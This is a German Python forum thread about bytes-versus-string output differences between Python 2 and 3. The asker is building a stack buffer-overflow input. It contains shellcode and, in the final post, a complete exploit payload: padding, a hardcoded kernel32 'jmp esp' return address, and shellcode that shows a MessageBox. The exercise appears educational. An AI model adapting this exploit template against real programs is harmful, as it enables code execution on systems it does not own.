Seite 1 von 1

struct.pack verhält sich unter Windows anders als Linux

Verfasst: Donnerstag 6. Januar 2011, 15:50
von omnidan
Liebes Forum,

ich versuche mit folgendem Skript einem C-Programm eine neue Rücksprungadresse aufzuzwingen:

Code: Alles auswählen

import struct
eip = 0x004013ee
print("A"*14 + struct.pack("<L",eip)
Unter OS X und Linux funktioniert das auch einwandfrei, es wird folgende Ausgabe erzeugt:

Code: Alles auswählen

0000000: 4141 4141 4141 4141 4141 4141 4141 ee13  AAAAAAAAAAAAAA..
0000010: 4000 0a                                  @..
("0x004014ee" wird also wie gewünscht als "\xee\x13\x40\x00" ausgegeben).

Unter Windoof bekomm ich zunächst einmal die Fehlermeldung:
TypeError: Can't convert 'bytes' object to str implicitly
(welche sich aber dadurch beheben lässt, ein Komma statt einem "+" in der print-Funktion zu verwenden.

Viel schlimmer ist jedoch, dass mir Python unter Windows statt dem Obigen folgendes ausgibt:

Code: Alles auswählen

AAAAAAAAAAAAAA b'\xee\x13@\x00'
Der Teil auf den es mir ankommt, wird also in einfache Anführungszeichen gesteckt und mit einem vorangestellten "b" verunstaltet!

Wie kann ich diese "Einrahmung" unterdrücken bzw. meinen Code so gestalten, dass er mir auf allen Plattformen richtig ausgegeben wird?

1000 Dank für eure Hilfe!

Re: struct.pack verhält sich unter Windows anders als Linux

Verfasst: Donnerstag 6. Januar 2011, 16:04
von Leonidas
Kann es sein dass du unter Linux/Mac Python 2.x hast, aber unter Windows Python 3.x?

Re: struct.pack verhält sich unter Windows anders als Linux

Verfasst: Donnerstag 6. Januar 2011, 16:23
von omnidan
Du hast recht! *freu* Hab unter OS X zwar Python 3 installiert, beim Aufruf über das Terminal wird aber tatsächlich 2.6.1 verwendet!

Wie würde der korrekte Code denn für Python 3 realisiert?

Re: struct.pack verhält sich unter Windows anders als Linux

Verfasst: Donnerstag 6. Januar 2011, 16:45
von lunar
@omnidan: Nun, Python 3 unterscheidet eben strikt zwischen Bytefolgen und echten Zeichenketten, und konvertiert nicht länger implizit zwischen diesen Typen. Deswegen kannst Du Bytefolgen und Zeichenketten nicht einfach konkatenieren, und deswegen erhältst Du auch diese "komische" Darstellung der Bytefolge. Um Bytefolgen als Zeichenketten zu verarbeiten, musst Du sie explizit in Zeichenketten konvertieren. Um Bytefolgen direkt zu verarbeiten, darfst Du nur Methoden und Funktionen nutzen, die Bytes akzeptieren. Wie das geht, steht in der Dokumentation.

Das aber solltest Du eigentlich wissen, wenn Du mit Python 3 arbeiten möchtest, schließlich ist das mit die größte Änderung in Python 3.

Re: struct.pack verhält sich unter Windows anders als Linux

Verfasst: Donnerstag 6. Januar 2011, 16:54
von omnidan
Ja, danke für den Tipp :)

Hab auch schon probiert die Ausgabe von struct.pack wieder als UTF-8 zu encoden ... aber das verkompliziert das Ganze gefühlsmäßig. Zumal er mir dann bei bestimmten Hexwerten auch Fehler ausgibt ...

Was wäre denn ein sinnvoller Ansatz um unter Python 3 "0x004013ee" als "\xee\x13\x40\x00" (Zeichenfolge) auszugeben?

Verschlimmerung des Problems:
Habe gerade festgestellt, dass ich selbst zu doof dafür bin eine Standardausgabe unter Python3 hinzubekommen:

Code: Alles auswählen

code = "\xeb\x1e\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x88\x46\x0d\xb0\x04\xb3\x01\x8d\x0e\xb2\x0d\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21\x23" 

print(code)
Der simple Shellcode soll "einfach nur" ausgegeben werden ... und zwar genau so, wie er dasteht ... doch alles was ich bekomme ist das hier:
Traceback (most recent call last):
File "ex4.py", line 3, in <module>
print(code)
File "C:\Python32\lib\encodings\cp850.py", line 19, in encode
return codecs.charmap_encode(input,self.errors,encoding_map)[0]
UnicodeEncodeError: 'charmap' codec can't encode character '\x88' in position 11: character maps to <undefined>
Scheinbar versucht Python 3 JEDE Ausgabe irgendwie zu en-/decodieren ... wie schalte ich das ab? Ich möchte doch nur, dass "code" genauso als Bytestring ausgegeben wird, wie er zwischen den Anführungszeichen steht, nicht mehr und nicht weniger :( :( :(

Ach, sollte ich für so etwas ein neues Thema aufmachen? Hat ja eigenltich nichts mehr mit meiner ursprünglichen Frage zu tun....

Re: struct.pack verhält sich unter Windows anders als Linux

Verfasst: Montag 10. Januar 2011, 10:43
von mkesper
was sagt

Code: Alles auswählen

repr(code)
?

Re: struct.pack verhält sich unter Windows anders als Linux

Verfasst: Dienstag 18. Januar 2011, 15:28
von omnidan
Hab das Ganze wie folgt gelöst:

Code: Alles auswählen

# Benötigte Bibliotheken laden
import sys
import struct

eip = 0x7c874413 # Adresse von jmp esp in kernel32.dll

ausgabe = b"A" * 14 # 14 Platzhalter
ausgabe += struct.pack("i", eip) # EIP in little-endian Hex umwandeln 

# Schadcode
ausgabe +=  b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x2a\x59\xbb\x7b\x1d\x80\x7c\x51\xff\xd3\xeb\x2f\x59\x51\x50\xbb\x40\xae\x80\x7c\xff\xd3\xeb\x34\x59\x31\xd2\x52\x51\x51\x52\xff\xd0\x31\xd2\x50\xb8\x12\xcb\x81\x7c\xff\xd0\xe8\xd1\xff\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\xe8\xcc\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x00\xe8\xc7\xff\xff\xff\x48\x61\x6c\x6c\x6f\x5f\x48\x61\x63\x6b\x65\x72\x21\x00"

sys.stdout.buffer.write(ausgabe)